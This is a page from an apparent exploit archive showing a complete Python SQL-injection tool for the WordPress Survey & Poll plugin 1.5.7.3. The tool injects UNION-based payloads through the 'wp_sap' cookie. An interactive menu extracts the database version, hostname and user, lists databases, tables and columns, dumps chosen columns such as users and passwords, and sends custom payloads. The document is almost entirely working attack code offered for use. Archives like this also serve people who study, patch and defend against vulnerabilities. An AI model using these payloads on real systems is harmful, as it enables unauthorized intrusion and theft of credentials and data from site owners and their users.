528f2d809f
2 changes to exploits/shellcodes WordPress Plugin WP Sitemap Page 1.6.4 - Stored Cross-Site Scripting (XSS) WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection (2)
178 lines
No EOL
4.3 KiB
Python
Executable file
178 lines
No EOL
4.3 KiB
Python
Executable file
# Exploit Title: WordPress Plugin Survey & Poll 1.5.7.3 - 'sss_params' SQL Injection (2)
|
|
# Date: 2021-09-07
|
|
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
|
|
# Vendor Homepage: http://modalsurvey.pantherius.com/
|
|
# Software Link: https://downloads.wordpress.org/plugin/wp-survey-and-poll.zip
|
|
# Version: 1.5.7.3
|
|
# Tested on: MariaDB,MYSQL
|
|
|
|
#!/usr/bin/python3
|
|
|
|
import requests
|
|
import re
|
|
import warnings
|
|
from bs4 import BeautifulSoup, CData
|
|
import sys
|
|
import argparse
|
|
import os
|
|
import time
|
|
from termcolor import colored
|
|
import validators
|
|
|
|
#Install all the requirements
|
|
|
|
"""
|
|
pip3 install requests
|
|
pip3 install bs4
|
|
pip3 install argparse
|
|
pip3 install termcolor
|
|
pip3 install validators
|
|
|
|
"""
|
|
|
|
|
|
parser = argparse.ArgumentParser(description='WP Plugin Survey & Poll V1.5.7.3 SQL Injection (sss_params)')
|
|
parser.add_argument('-u',help='Poll & Survey page URL')
|
|
args = parser.parse_args()
|
|
|
|
url = args.u
|
|
|
|
|
|
if len(sys.argv) !=3:
|
|
parser.print_help(sys.stderr)
|
|
sys.exit()
|
|
|
|
if not validators.url(url):
|
|
print(colored("\r\nEnter URL with http:// or https://\r\n",'red'))
|
|
parser.print_help(sys.stderr)
|
|
sys.exit()
|
|
|
|
|
|
def currect_db_name():
|
|
payload= """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,database(),11#"]"""
|
|
inject(payload)
|
|
|
|
|
|
def db_version():
|
|
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]"""
|
|
inject(payload)
|
|
|
|
|
|
def hostname():
|
|
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@hostname,11#"]"""
|
|
inject(payload)
|
|
|
|
|
|
def current_user():
|
|
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,user(),11#"]"""
|
|
inject(payload)
|
|
|
|
|
|
def list_databases():
|
|
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(schema_name),11 from information_schema.schemata#"]"""
|
|
inject(payload)
|
|
|
|
def list_tables_db():
|
|
db = input("\r\nDatabase : ")
|
|
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(table_name),11 from information_schema.tables where table_schema='%s'#"]""" %(db)
|
|
inject(payload)
|
|
|
|
|
|
def list_columns_db():
|
|
db = input("\r\nDatabase : ")
|
|
table = input("Table : ")
|
|
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(column_name),11 from information_schema.columns where table_schema='%s' and table_name='%s'#"]""" %(db,table)
|
|
inject(payload)
|
|
|
|
|
|
def dump_db():
|
|
db = input("\r\nDatabase: ")
|
|
table = input("Table: ")
|
|
column = input("Columns Eg: users,password : ")
|
|
dump = "%s.%s" %(db,table)
|
|
payload = """["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,group_concat(%s),11 from %s.%s#"]""" %(column,db,table)
|
|
inject(payload)
|
|
|
|
|
|
def custom_payload():
|
|
payload = input("\r\nPayload : ")
|
|
inject(payload)
|
|
|
|
def inject(inject_payload):
|
|
|
|
request = requests.Session()
|
|
|
|
cookies = {
|
|
'wp_sap': inject_payload,
|
|
|
|
}
|
|
print("\r\n"+colored("Sending Payload :",'red')+" %s\r\n" %colored((inject_payload),'green'))
|
|
response = request.get(url,cookies=cookies)
|
|
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
|
|
soup = BeautifulSoup(response.text,features="lxml")
|
|
cdata = soup.find(text=re.compile("CDATA"))
|
|
split_cdata = list(cdata.split(':'))
|
|
output = split_cdata[11]
|
|
print("\r\n"+colored("SQLI OUTPUT :",'red')+" %s\r\n" %colored((output),'green'))
|
|
time.sleep(1)
|
|
main()
|
|
|
|
|
|
|
|
def main():
|
|
print ("Automated SQL Injector (wp-survey-and-poll)")
|
|
print ("Enter the respective number to select option")
|
|
print ("#EXAMPLE Option : 1\r\n")
|
|
|
|
|
|
|
|
print("Option 1 : Grab Database Version")
|
|
print("Option 2 : Get Current Database Name")
|
|
print("Option 3 : Get Hostname ")
|
|
print("Option 4 : Get Current User")
|
|
print("Option 5 : List All Databases")
|
|
print("Option 6 : List Tables From Database")
|
|
print("Option 7 : List Columns from Tables")
|
|
print("Option 8 : Dump Database")
|
|
print("Option 9 : Custom Payload")
|
|
print("Option 10 : Exit")
|
|
|
|
|
|
print("\r\n")
|
|
option_selected = str(input("Select Option : "))
|
|
|
|
|
|
if(option_selected=="1"):
|
|
db_version()
|
|
|
|
if(option_selected=="2"):
|
|
currect_db_name()
|
|
|
|
if(option_selected=="3"):
|
|
hostname()
|
|
|
|
if(option_selected=="4"):
|
|
current_user()
|
|
|
|
if(option_selected=="5"):
|
|
list_databases()
|
|
|
|
if(option_selected=="6"):
|
|
list_tables_db()
|
|
|
|
if(option_selected=="7"):
|
|
list_columns_db()
|
|
|
|
if(option_selected=="8"):
|
|
dump_db()
|
|
|
|
if(option_selected=="9"):
|
|
custom_payload()
|
|
|
|
if(option_selected=="10"):
|
|
sys.exit()
|
|
|
|
else:
|
|
main()
|
|
|
|
main() |